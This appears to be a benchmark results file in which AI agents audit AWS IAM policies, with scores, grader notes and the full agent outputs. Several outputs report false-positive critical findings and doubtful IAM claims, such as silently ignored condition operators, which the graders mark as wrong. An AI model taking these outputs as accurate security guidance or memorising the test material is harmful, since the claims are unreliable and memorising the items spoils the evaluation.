`aws:SourceIp` or `aws:PrincipalTag` Conditions on Any High-Risk Actions\n\n**Severity: LOW-MEDIUM**\n\n### The Problem\n\nAll high-risk actions (especially `PutRolePolicy`, `UpdateAssumeRolePolicy`, `CreatePolicyVersion`) are granted with **no contextual conditions**. The operator can invoke these from any network, any region, without MFA, without a specific time window, and without any request tagging.\n\nThis means a compromised operator credential (e.g., stolen session token) provides unconditional access to the allowed mutation set.\n\n### Fix\n\nAt minimum, add MFA requirement and IP allowlisting for the highest-risk actions:\n\n```json\n\"Condition\": {\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\",\n \"aws:SecureTransport\": \"true\"\n },\n \"IpAddress\": {\n \"aws:SourceIp\": [\"10.0.0.0/8\", \"203.0.113.0/24\"]\n }\n}\n```\n\nFor break-glass operations specifically, consider requiring a session tag (`aws:RequestTag/BreakGlassApprovalTicket`) set by an approval system before high-risk actions are permitted.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Blocked by Policy-2? | Fix |\n|---|---------|----------|----------------------|-----|\n| 1 | Deny is identity-based policy, not a Permission Boundary \u2014 can be detached | **CRITICAL** | No | Convert to real Permission Boundary |\n| 2 | `CreatePolicyVersion` + `SetDefaultPolicyVersion` = policy content hijack | **HIGH** | Yes (conditionally) | Remove or gate behind MFA + approval |\n| 3 | `UpdateAssumeRolePolicy` allows trust policy rewrite / latent backdoor | **HIGH** | Partially | Remove; manage",
"agent_chars": 13725,
"agent_s": 72.9,
"elapsed_s": 82.5
},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "control",
"trial": 0,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
0
],
"notes": [
"The agent correctly reads and parses the policy statements, recognizing the cross-account AssumeRole and condition keys present.",
"The ground truth is zero findings (clean policy); the agent reports 6 findings including a CRITICAL and HIGH, failing to recognize the policy is effectively clean.",
"The agent raises multiple false positives: it calls the wildcard-principal-with-condition a CRITICAL defect and invents a malformed operator 'StringEquals_PrincipalOrgID' as HIGH, neither of which are ground-truth defects; the condition-gated path is inert.",
"The agent does not recognize that the conditions (ExternalId + PrincipalOrgID) seal the path at both ends; it fails to reason that the combination of conditions makes the cross-account assume inert rather than dangerous.",
"The agent headlines a neutralised/condition-gated AssumeRole as CRITICAL, directly violating the rubric requirement not to do so for a condition-sealed grant.",
"The agent does mention it cannot determine what the foreign-account target role can do if the path were opened, matching one of the ground-truth boundary items.",
"The ground-truth top fix is 'None needed' (or optionally remove the unused grant); the agent instead recommends locking down the wildcard principal as the top priority, which contradicts the correct answer."
],
"agent_output": "## IAM Policy Audit: `cost-reporting-collector`\n\n---\n\n### Summary\n\nThe policy is mostly well-scoped for a cost-reporting role, but contains several distinct issues ranging from critical to low severity. I'll work through each one systematically.\n\n---\n\n## FINDING 1 \u2014 CRITICAL: Trust Policy Uses Wildcard Principal (`\"AWS\": \"*\"`)\n\n### What it is\n\nThe **target role's trust policy** (in account `905512347781`) uses:\n\n```json\n\"Principal\": { \"AWS\": \"*\" }\n```\n\nnarrowed by a `Condition` block requiring `aws:PrincipalOrgID` and `sts:ExternalId`.\n\n### Why this is dangerous\n\n**IAM evaluates `Principal: *` before condition keys in specific failure modes.** More importantly, the wildcard principal creates two concrete problems:\n\n**Problem A \u2014 `aws:PrincipalOrgID` does not apply to IAM users or roles outside AWS Organizations SCPs.**\nSpecifically: `aws:PrincipalOrgID` is only reliably enforced when the *calling identity* is an IAM principal that has an organization context. A principal from *outside* your org attempting to assume this role will have the condition evaluate to a mismatch and be denied \u2014 that part works. However, the attack surface is the `sts:ExternalId` alone being the practical gate for any org member, because *any* principal inside `o-9f3kxample` that somehow learns or guesses `vendor-cost-auditor-prod` can assume this role. The wildcard means the trust is not scoped to a specific account or role ARN.\n\n**Problem B \u2014 Confused Deputy is not fully mitigated.**\nExternalId helps against confused deputy from *outside* parties, but since the Principal is `*` scoped only to the org, any of the potentially thousands of roles/users within your entire AWS Organization that know the ExternalId can assume this cross-account role. This is a lateral movement path.\n\n**Problem C \u2014 `Principal: {\"AWS\": \"*\"}` is structurally equivalent to `Principal: \"*\"` in trust policies.**\nAWS documentation notes this explicitly. The condition is the *only* guard. If there is ever a condition evaluation bug, misconfiguration, or the ExternalId is leaked (it frequently is \u2014 it appears in CloudTrail, CI/CD configs, environment variables), the blast radius is your entire organization.\n\n### Fix\n\nLock the principal to the specific role ARN rather than using a wildcard:\n\n```json\n{\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::YOUR_ACCOUNT_ID:role/cost-reporting-collector\"\n },\n \"Action\": \"sts:AssumeRole\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:PrincipalOrgID\": \"o-9f3kxample\",\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n }\n }\n}\n```\n\nKeep the conditions as defense-in-depth, but the principal should never be a wildcard. The ExternalId and OrgID conditions become layered controls, not the sole gate.\n\n---\n\n## FINDING 2 \u2014 HIGH: Malformed Condition Key in policy-1 (`StringEquals_PrincipalOrgID`)\n\n### What it is\n\nIn `policy-1.json`, the first statement has:\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n },\n \"StringEquals_PrincipalOrgID\": {\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\nThe operator `StringEquals_PrincipalOrgID` **does not exist** in IAM.\n\n### Why this is dangerous\n\nIAM's behavior when it encounters an **unrecognized condition operator** is to **ignore the condition block entirely** (it does not throw an error at policy save time for unknown operators in all contexts \u2014 it may save silently). This means:\n\n- The `aws:PrincipalOrgID` check is **effectively not enforced** on the permissions policy side\n- Only `sts:ExternalId` gates the assumption from the permissions policy perspective\n- The `sts:AssumeRole` call proceeds as long as ExternalId matches, with no org membership verification from this policy\n\nThe correct operator is simply `StringEquals`, and multiple keys under one `StringEquals` block are ANDed together.\n\n### Fix\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\",\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\nBoth keys go under the same `StringEquals` operator. Verify enforcement with IAM policy simulator after the change.\n\n---\n\n## FINDING 3 \u2014 MEDIUM: `s3:ListBucket` Granted on Both Bucket and Object ARN (Redundant but Incorrectly Scoped)\n\n### What it is\n\nIn `policy-2.json`:\n\n```json\n\"Resource\": [\n \"arn:aws:s3:::cost-reports-export\",\n \"arn:aws:s3:::cost-reports-export/*\"\n]\n```\n\nThis is applied to both `s3:GetObject` and `s3:ListBucket`.\n\n### Why this is a problem\n\n- `s3:ListBucket` applies to the **bucket ARN** (`arn:aws:s3:::cost-reports-export`) \u2014 correct\n- `s3:GetObject` applies to **object ARNs** (`arn:aws:s3:::cost-reports-export/*`) \u2014 correct\n- However, granting `s3:ListBucket` also on `arn:aws:s3:::cost-reports-export/*` is meaningless (AWS ignores it), but more importantly, granting `s3:GetObject` on the bucket ARN (no `/*`) is also ignored\n\nThe real issue: **`s3:ListBucket` with no prefix condition allows full enumeration of the entire bucket contents**, which may expose the names/paths of cost reports for all accounts/departments. Depending on naming conventions, this leaks organizational structure.\n\n### Fix\n\nSplit the actions across correctly scoped resources, and add a condition to limit listing scope if full enumeration is not required:\n\n```json\n[\n {\n \"Sid\": \"GetCostReportObjects\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:GetObject\",\n \"Resource\": \"arn:aws:s3:::cost-reports-export/*\"\n },\n {\n \"Sid\": \"ListCostReportBucket\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:ListBucket\",\n \"Resource\": \"arn:aws:s3:::cost-reports-export\",\n \"Condition\": {\n \"StringLike\": {\n \"s3:prefix\": [\"cost-reports/*\"]\n }\n }\n }\n]\n```\n\n---\n\n## FINDING 4 \u2014 MEDIUM: No `sts:AssumeRole` Session Constraints (No `sts:RoleSessionName` Enforcement, No MaxDuration)\n\n### What it is\n\nThe `sts:AssumeRole` grant has no condition enforcing:\n- A consistent, auditable `sts:RoleSessionName`\n- Session duration limits (`sts:DurationSeconds`)\n\n### Why this matters\n\nWhen `cost-reporting-collector` assumes `external-cost-auditor`, the resulting session is attributed to whatever session name the caller provides. Without enforcement:\n\n- Sessions in the external account's CloudTrail will have arbitrary, potentially non-attributable names, breaking audit trails\n- No upper bound on session duration means the caller can request the maximum allowed by the role (potentially 12 hours) for a task that should complete in minutes\n\n### Fix\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\",\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n },\n \"StringLike\": {\n \"sts:RoleSessionName\": \"cost-collector-${aws:username}\"\n },\n \"NumericLessThanEquals\": {\n \"sts:DurationSeconds\": \"3600\"\n }\n}\n```\n\n---\n\n## FINDING 5 \u2014 LOW: `budgets:DescribeBudgetActionsForBudget` on `Resource: *`\n\n### What it is\n\n`budgets:DescribeBudgetActionsForBudget` is granted on `*`.\n\n### Why this matters\n\nThe Budgets API resource format supports account-scoped ARNs: `arn:aws:budgets::ACCOUNT_ID:budget/*`. Granting on `*` allows describing budget *actions* (which include SNS topics, IAM policy actions, SCP actions attached to budget alerts) across any budget. This is a minor information disclosure \u2014 budget actions can reveal internal escalation workflows, SNS ARNs, and automation role ARNs.\n\n### Fix\n\n```json\n\"Resource\": \"arn:aws:budgets::YOUR_ACCOUNT_ID:budget/*\"\n```\n\nIf only specific budgets should be visible, scope further to named budgets.\n\n---\n\n## FINDING 6 \u2014 LOW: No Explicit `Deny` for Privilege-Escalation Actions\n\n### What it is\n\nThe policy grants no explicit `Deny`, relying entirely on implicit deny for actions not listed. This is standard IAM behavior and normally fine \u2014 but given this role can assume a cross-account role, there is no guardrail preventing the *assumed session* from being used to call back into the originating account.\n\n### Why this matters\n\nIf `external-cost-auditor` in account `905512347781` has permissions that include `sts:AssumeRole` back into your account (role chaining), and your account has roles that trust `905512347781`, you have a potential privilege escalation loop. This is not visible in the provided policies alone, but is a risk that should be explicitly closed.\n\n### Fix\n\nAdd a deny on role-chaining as defense-in-depth in the permissions boundary or SCP:\n\n```json\n{\n \"Sid\": \"DenyRoleChaining\",\n \"Effect\": \"Deny\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::YOUR_ACCOUNT_ID:role/*\"\n}\n```\n\nAdditionally, apply a **permissions boundary** to `cost-reporting-collector` that contains only the actions it legitimately needs, preventing any future policy attachment from expanding scope.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Location |\n|---|---------|----------|----------|\n| 1 | Wildcard `Principal: *` in trust policy | **CRITICAL** | Trust policy (905512347781) |\n| 2 | Invalid condition operator `StringEquals_PrincipalOrgID` \u2014 OrgID check silently dropped | **HIGH** | policy-1.json, Statement 1 |\n| 3 | `s3:ListBucket` allows full bucket enumeration; resource scoping mixed | **MEDIUM** | policy-2.json, ReadBillingArtifacts |\n| 4 | No `RoleSessionName` enforcement or session duration cap on cross-account assume | **MEDIUM** | policy-1.json, Statement 1 |\n| 5 | `budgets:DescribeBudgetActionsForBudget` on `Resource: *` | **LOW** | policy-2.json, ReadBudgets |\n| 6 | No explicit deny on role-chaining back to originating account | **LOW** | Missing control |\n\n---\n\n### Priority Order for Remediation\n\n1. **Fix Finding 2 immediately** \u2014 the OrgID condition is silently non-functional right now. This is a misconfiguration that is live and actively weakening your control.\n2. **Fix Finding 1** \u2014 coordinate with the owner of account `905512347781` to lock down the trust policy principal.\n3. **Findings 3\u20136** \u2014 schedule for next policy review cycle.",
"agent_chars": 9864,
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},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "control",
"trial": 1,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
0
],
"notes": [
"Agent correctly reads the policy statements and identifies the condition structure, demonstrating adequate parsing ability.",
"The ground truth is zero findings (clean policy); the agent invents multiple critical findings, so it fails to correctly report the clean state.",
"Agent asserts multiple critical/material defects (malformed condition operator, wildcard principal, etc.) that the ground truth explicitly says are not real defects \u2014 significant false positives.",
"Agent does not correctly reason that both sides of the AssumeRole path are condition-sealed and therefore inert; it treats each side in isolation as dangerous rather than recognizing the combined neutralization.",
"Agent headlines a neutralized cross-account AssumeRole as Critical, violating the requirement not to do so for condition-sealed or broken-back grants.",
"Agent does mention it cannot determine what permissions the foreign-account target role carries, which matches one of the ground-truth boundary items.",
"The correct top fix is 'None needed' (or optionally remove the unused grant); the agent instead prescribes immediate remediation of multiple invented defects, which does not match the ground-truth fix in substance."
],
"agent_output": "## IAM Policy Audit: `role/cost-reporting-collector`\n\n---\n\n### Summary\n\nThe policy is narrow in intent but contains **one critical structural bug**, **one moderate misconfiguration**, and **two lower-severity observations** worth addressing.\n\n---\n\n## Finding 1 \u2014 CRITICAL: Condition block in `policy-1.json` is malformed; `aws:PrincipalOrgID` condition is silently dropped\n\n### What's wrong\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n },\n \"StringEquals_PrincipalOrgID\": { // \u2190 NOT a real IAM condition operator\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\n`StringEquals_PrincipalOrgID` is **not a valid IAM condition operator**. AWS will either:\n\n- **Reject** the policy at write time (most likely), or\n- In some edge-case parsing paths, **silently ignore the unrecognized operator key**, meaning the `aws:PrincipalOrgID` guard is never evaluated.\n\nIf the latter occurs (or if someone \"fixes\" it by just deleting the bad key), the statement reduces to:\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n }\n}\n```\n\n`sts:ExternalId` alone is **not a secret**. It is a coordination token, not an authentication mechanism. Any IAM principal anywhere \u2014 including outside your org, including a compromised third-party account \u2014 that knows the string `vendor-cost-auditor-prod` can assume `arn:aws:iam::905512347781:role/external-cost-auditor`.\n\n### Attack path\n\n```\nAttacker (any AWS account, knows ExternalId)\n \u2192 sts:AssumeRole \u2192 905512347781:role/external-cost-auditor\n \u2192 whatever permissions that role carries (unknown, external account)\n```\n\n### Fix\n\nUse only the single, correct `StringEquals` operator and place **both** condition keys inside it:\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\",\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\nBoth keys in one `StringEquals` block are evaluated with an implicit AND. This is the documented, correct form.\n\n---\n\n## Finding 2 \u2014 CRITICAL (defense-in-depth): Trust policy on `905512347781:role/external-cost-auditor` uses `Principal: \"*\"`\n\n### What's wrong\n\n```json\n\"Principal\": { \"AWS\": \"*\" }\n```\n\nA wildcard principal scoped only by a condition is a well-known risky pattern. It means:\n\n1. **Any future condition-evaluation bug or AWS service quirk** that causes the condition to be skipped results in the role being assumable by the entire internet.\n2. It bypasses the normal cross-account defense where the *calling account's* permissions policy must also grant `sts:AssumeRole` \u2014 with `\"Principal\": \"*\"` narrowed by condition, AWS may allow assumption if *only* the trust policy is satisfied, depending on context.\n3. It makes the blast radius analysis harder: you cannot enumerate who is authorized by inspecting the principal list.\n\n### Fix\n\nReplace the wildcard with the **specific ARN of the calling role**:\n\n```json\n\"Principal\": {\n \"AWS\": \"arn:aws:iam::CALLING_ACCOUNT_ID:role/cost-reporting-collector\"\n}\n```\n\nKeep the `aws:PrincipalOrgID` + `sts:ExternalId` conditions as an additional layer. This way you have:\n\n| Layer | Control |\n|---|---|\n| Principal allow-list | Only this specific role ARN |\n| `aws:PrincipalOrgID` | Must be within your org |\n| `sts:ExternalId` | Must know the coordination token |\n\nThree independent checks; any one failing blocks the assumption.\n\n---\n\n## Finding 3 \u2014 MEDIUM: `s3:ListBucket` granted on bucket without `s3:prefix` / `s3:delimiter` scope\n\n### What's wrong\n\n```json\n{\n \"Action\": [\"s3:GetObject\", \"s3:ListBucket\"],\n \"Resource\": [\n \"arn:aws:s3:::cost-reports-export\",\n \"arn:aws:s3:::cost-reports-export/*\"\n ]\n}\n```\n\n`s3:ListBucket` on `arn:aws:s3:::cost-reports-export` (no path condition) allows enumeration of **every key in the bucket**, not just the cost-report prefix. If other teams write sensitive objects to the same bucket under different prefixes, this role can discover their existence and names.\n\n### Fix\n\nAdd a condition restricting listing to the relevant prefix:\n\n```json\n{\n \"Sid\": \"ReadBillingArtifacts\",\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:GetObject\", \"s3:ListBucket\"],\n \"Resource\": [\n \"arn:aws:s3:::cost-reports-export\",\n \"arn:aws:s3:::cost-reports-export/*\"\n ],\n \"Condition\": {\n \"StringLike\": {\n \"s3:prefix\": [\"cost-reports/*\", \"\"]\n }\n }\n}\n```\n\nThe `\"\"` prefix is required to allow `ListBucket` to return the bucket root without error.\n\n---\n\n## Finding 4 \u2014 LOW: `cur:DescribeReportDefinitions` has `Resource: \"*\"` but is org-level only; acceptable, note for record\n\n`cur:DescribeReportDefinitions` does not support resource-level restrictions (it is a list/describe API against the CUR service itself, not individual objects). `Resource: \"*\"` is therefore **required** by AWS and is not a misconfiguration. However, this action does expose the names, S3 destinations, and configurations of all Cost and Usage Reports in the account \u2014 confirm the calling role should see this metadata.\n\nNo fix required unless CUR report configurations are considered sensitive, in which case the action should be removed.\n\n---\n\n## Finding 5 \u2014 LOW: `budgets:DescribeBudgetActionsForBudget` requires a specific budget ARN; `Resource: \"*\"` is over-broad\n\n### What's wrong\n\n```json\n{\n \"Action\": [\"budgets:ViewBudget\", \"budgets:DescribeBudgetActionsForBudget\"],\n \"Resource\": \"*\"\n}\n```\n\n`budgets:ViewBudget` and `budgets:DescribeBudgetActionsForBudget` **do** support resource-level ARNs in the form:\n\n```\narn:aws:budgets::ACCOUNT_ID:budget/BUDGET_NAME\n```\n\nGranting `Resource: \"*\"` allows the role to read all budgets and all budget actions across the entire account, including budgets that may encode sensitive business targets.\n\n### Fix\n\nIf the set of relevant budgets is known:\n\n```json\n\"Resource\": [\n \"arn:aws:budgets::123456789012:budget/cost-reporting-*\"\n]\n```\n\nOtherwise, accept the risk and document it.\n\n---\n\n## Consolidated Severity Table\n\n| # | Finding | Severity | Exploitable Without Further Access? |\n|---|---|---|---|\n| 1 | Malformed condition operator drops `PrincipalOrgID` guard | **Critical** | Yes \u2014 ExternalId alone is trivially bypassable |\n| 2 | Trust policy wildcard principal | **Critical** | Yes \u2014 single point of failure if conditions slip |\n| 3 | `s3:ListBucket` unrestricted prefix enumeration | Medium | Yes, within same bucket |\n| 4 | `cur:DescribeReportDefinitions` metadata exposure | Low | Informational |\n| 5 | `budgets` actions over `Resource: \"*\"` | Low | Yes, read-only |\n\n---\n\n## Priority Action Items\n\n1. **Immediately**: Fix the condition operator in `policy-1.json` (Finding 1). This is the highest-risk issue because it silently voids your org boundary control.\n2. **Immediately**: Pin the trust policy principal to the specific role ARN (Finding 2).\n3. **Short-term**: Add `s3:prefix` condition to the ListBucket grant (Finding 3).\n4. **Backlog**: Scope budgets resource ARNs if feasible (Finding 5).",
"agent_chars": 6932,
"agent_s": 39.5,
"elapsed_s": 47.5
},
{
"fixture": "06-cross-account-assume-condition-gated",
"condition": "control",
"trial": 2,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parsed the policy statements including the cross-account AssumeRole and its condition blocks.",
"Ground truth says findings are empty (clean fixture); agent raised four findings including a HIGH severity one, so it failed to recognize the clean/inert state.",
"Agent asserts material defects (wildcard Principal as HIGH, malformed condition operator as MEDIUM) that the ground truth explicitly says are not real defects because the path is condition-sealed; these are false positives.",
"Agent did consider the combined effect of both the permissions policy and the trust policy conditions together, noting the trust policy independently enforces org-ID even when the permissions policy condition is malformed.",
"Agent headlines the wildcard Principal as HIGH severity when ground truth says there is no real escalation; the path is inert and no critical finding exists.",
"Agent correctly notes it cannot determine what permissions the external-cost-auditor role has in account 905512347781, matching the ground-truth boundary.",
"Ground truth top fix is 'None needed / optionally remove the unused grant'; agent recommends locking the wildcard Principal and fixing the condition operator, which contradicts the ground-truth conclusion that no fix is required."
],
"agent_output": "## IAM Policy Audit: `role/cost-reporting-collector`\n\n---\n\n### Finding 1 \u2014 Trust Policy: Wildcard Principal with Condition-Only Narrowing\n**Severity: HIGH**\n\n**Location:** Trust policy of `arn:aws:iam::905512347781:role/external-cost-auditor`\n\n**Issue:**\n\n```json\n\"Principal\": { \"AWS\": \"*\" }\n```\n\nA wildcard `Principal` in a trust policy means IAM evaluates **any AWS principal in the universe** as a candidate, relying entirely on the `Condition` block to restrict access. This is architecturally unsound for two distinct reasons:\n\n1. **Condition bypass via future policy drift:** If either condition key (`aws:PrincipalOrgID` or `sts:ExternalId`) is accidentally removed during a policy update, the role becomes assumable by **any authenticated AWS principal globally**. There is no defense-in-depth.\n\n2. **`aws:PrincipalOrgID` does not constrain the calling account \u2014 it constrains the organization.** Any principal in *any account* within `o-9f3kxample` that also knows the `ExternalId` value can assume this role. If your org has hundreds of accounts, this is a large blast radius \u2014 not just `cost-reporting-collector`.\n\n3. **`sts:ExternalId` is not a secret.** It is a confusion-prevention mechanism designed to protect against [confused deputy attacks](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) between two known parties. It is passed in plaintext in the `AssumeRole` API call and may appear in CloudTrail, application configs, or vendor documentation. Treating it as an access control secret is a mistake.\n\n**Concrete attack path:**\n```\nAny compromised role in org o-9f3kxample\n + knowledge of ExternalId \"vendor-cost-auditor-prod\" (e.g., from CloudTrail or config leak)\n \u2192 sts:AssumeRole \u2192 external-cost-auditor in account 905512347781\n \u2192 whatever permissions that role has (not shown, but assumed sensitive)\n```\n\n**Fix:**\n\nLock the `Principal` to the specific ARN(s) that should ever assume this role:\n\n```json\n\"Principal\": {\n \"AWS\": \"arn:aws:iam::YOUR_ACCOUNT_ID:role/cost-reporting-collector\"\n}\n```\n\nKeep the conditions as defense-in-depth, but they must not be the **primary** access control. The `aws:PrincipalOrgID` condition can be retained as a secondary guard against ARN spoofing across org boundaries. The resulting trust policy should be:\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"OnlyCollectorRoleFromOurOrg\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111122223333:role/cost-reporting-collector\"\n },\n \"Action\": \"sts:AssumeRole\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:PrincipalOrgID\": \"o-9f3kxample\",\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n }\n }\n }\n ]\n}\n```\n\n---\n\n### Finding 2 \u2014 Malformed Condition Key in policy-1.json\n**Severity: MEDIUM (logic error, currently ineffective control)**\n\n**Location:** `policy-1.json`, `AssumeVendorAuditRoleCrossAccount` statement\n\n**Issue:**\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\"\n },\n \"StringEquals_PrincipalOrgID\": { \u2190 THIS IS NOT A VALID OPERATOR\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\n`StringEquals_PrincipalOrgID` is **not a recognized IAM condition operator**. Valid operators are things like `StringEquals`, `StringLike`, `ArnEquals`, etc. IAM's documented behavior when it encounters an **unrecognized condition operator** is to treat the condition as **not applicable**, meaning the `aws:PrincipalOrgID` check **is silently ignored and never evaluated**.\n\nThe practical result: the permissions policy grants `sts:AssumeRole` on the cross-account role gated only on `sts:ExternalId`, with the org-ID check completely absent.\n\nNote: This is a bug on the **permissions policy** side, not the trust policy side. Since the trust policy independently enforces `aws:PrincipalOrgID`, the final access control outcome is not currently broken \u2014 but this represents a failed defense-in-depth layer and may mislead reviewers into believing org-pinning is enforced on this side when it is not.\n\n**Fix:**\n\nMerge both conditions under the single valid `StringEquals` operator:\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"vendor-cost-auditor-prod\",\n \"aws:PrincipalOrgID\": \"o-9f3kxample\"\n }\n}\n```\n\n---\n\n### Finding 3 \u2014 `s3:ListBucket` Granted on Bucket Without `Condition` Scope\n**Severity: LOW\u2013MEDIUM**\n\n**Location:** `policy-2.json`, `ReadBillingArtifacts` statement\n\n**Issue:**\n\n```json\n\"Action\": [\"s3:GetObject\", \"s3:ListBucket\"],\n\"Resource\": [\n \"arn:aws:s3:::cost-reports-export\",\n \"arn:aws:s3:::cost-reports-export/*\"\n]\n```\n\n`s3:ListBucket` on `cost-reports-export` allows the role to enumerate **all object keys** in the bucket \u2014 including keys that may be in prefixes this role has no business reading (e.g., other teams' exports, historical data partitions, or sensitive path names that reveal account structure). If the bucket contains multi-tenant cost data or subfolder-isolated customer reports, key enumeration is a meaningful information disclosure risk.\n\nAdditionally, `s3:GetObject` on the wildcard `cost-reports-export/*` without a prefix condition allows downloading **all objects** in the bucket, not just those relevant to this role's function.\n\n**Fix:**\n\nScope both actions to the specific prefix this role requires:\n\n```json\n{\n \"Sid\": \"ReadBillingArtifacts\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:ListBucket\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::cost-reports-export\",\n \"arn:aws:s3:::cost-reports-export/*\"\n ],\n \"Condition\": {\n \"StringLike\": {\n \"s3:prefix\": [\"cost-reports/prod/*\"],\n \"s3:delimiter\": [\"/\"]\n }\n }\n}\n```\n\nOr, if prefix scoping isn't operationally feasible, document the explicit justification for full-bucket read access and ensure the bucket itself has a resource policy limiting access.\n\n---\n\n### Finding 4 \u2014 `budgets:DescribeBudgetActionsForBudget` Scope\n**Severity: INFORMATIONAL**\n\n**Location:** `policy-2.json`, `ReadBudgets` statement\n\n**Issue:**\n\n`budgets:DescribeBudgetActionsForBudget` on `Resource: \"*\"` allows the role to enumerate **budget actions** across the account \u2014 including actions that may reveal SNS topic ARNs, IAM role ARNs targeted by budget actions, and financial thresholds. This is read-only and not directly exploitable, but it contributes to reconnaissance capability beyond what a cost-reporting role strictly needs.\n\n**Fix:**\n\nEvaluate whether this action is necessary. If only budget amounts/forecasts are needed, `budgets:ViewBudget` alone is sufficient. If action details are required, consider whether the `Resource` can be scoped to specific budget ARNs:\n\n```\narn:aws:budgets::ACCOUNT_ID:budget/specific-budget-name\n```\n\n---\n\n### Summary Table\n\n| # | Finding | Severity | Location |\n|---|---------|----------|----------|\n| 1 | Wildcard `Principal` in trust policy \u2014 org+ExternalId as sole controls | **HIGH** | Trust policy of cross-account role |\n| 2 | Invalid condition operator `StringEquals_PrincipalOrgID` \u2014 org-ID check silently dropped | **MEDIUM** | policy-1.json |\n| 3 | `s3:GetObject` + `s3:ListBucket` unscoped to prefix on potentially multi-tenant bucket | **LOW\u2013MEDIUM** | policy-2.json |\n| 4 | `budgets:DescribeBudgetActionsForBudget` exposes action metadata unnecessarily | **INFO** | policy-2.json |\n\n---\n\n### No Privilege Escalation to Administrator Found\n\nThis role lacks `iam:*`, `sts:AssumeRole` on `*`, `lambda:*`, `ec2:*`, passrole, or any attach/create/update policy permissions. There is no direct escalation path to administrative access from the permissions as written, assuming the `external-cost-auditor` role in account 905512347781 is itself appropriately scoped (that role's permissions policy was not provided and should be separately audited).",
"agent_chars": 7819,
"agent_s": 41.7,
"elapsed_s": 49.6
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "control",
"trial": 0,
"score": 4,
"scores_by_item": [
1,
0,
0,
1,
1,
1,
0
],
"notes": [
"Agent correctly parses statements and identifies the PassRole grant, compute actions, and their scoping.",
"Ground truth says no findings (clean); agent reports three medium/low findings, missing that there is no real defect here.",
"Agent asserts multiple material defects (missing PassedToService condition as medium, ecs:StartTask as medium) that the ground truth explicitly identifies as non-issues because no role-binding launch action pairs with PassRole to complete an escalation.",
"Agent correctly evaluates the union of statements and recognises that PassRole alone without a role-binding launch action (RunInstances/CreateFunction/RunTask) is incomplete \u2014 but then still flags it as a finding rather than concluding clean.",
"Agent does not headline any finding as critical/admin-escalation; highest severity is Medium, which is appropriate given no real escalation exists.",
"Agent acknowledges it cannot determine the actual privileges of sandbox-readonly-compute from the policy alone, matching the ground-truth boundary.",
"Ground truth says no fix is needed for security (optionally remove unused PassRole); agent recommends adding conditions and restructuring, which does not match the substance of 'no fix needed'."
],
"agent_output": "## IAM Policy Audit: `role/sandbox-compute-operator`\n\n---\n\n### Executive Summary\n\nNo path to administrator escalation exists. The overall design is sound. However, I identified **three real findings** of varying severity, plus two observations worth noting. I'll work through each precisely.\n\n---\n\n## FINDING 1 \u2014 Missing `PassedToService` Condition on `iam:PassRole`\n**Severity: Medium**\n**Policy: policy-1.json, Sid: PassSandboxComputeRole**\n\n### The Problem\n\nThe `iam:PassRole` grant has no `iam:PassedToService` condition key. This means the role `sandbox-readonly-compute` can be passed to **any AWS service that accepts a role**, not just the intended compute services (EC2, ECS, Lambda).\n\n```json\n{\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sandbox-readonly-compute\"\n // No condition \u2014 passes to ANY service\n}\n```\n\n### Why This Matters\n\nWhile `sandbox-readonly-compute` is itself read-only, an attacker controlling this principal could pass it to unintended services. More importantly, if the passed role's policies are ever expanded in the future, the blast radius is unconstrained by service boundary. Defense-in-depth requires constraining *now*, not trusting that the passed role stays minimal forever.\n\nConcrete abuse example: the operator passes the role to a **Glue job**, a **CodeBuild project**, or an **SSM Run Command** invocation \u2014 services that may have different network postures or logging assumptions than the intended EC2/ECS/Lambda surface.\n\n### Fix\n\nAdd an explicit `iam:PassedToService` condition:\n\n```json\n{\n \"Sid\": \"PassSandboxComputeRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": 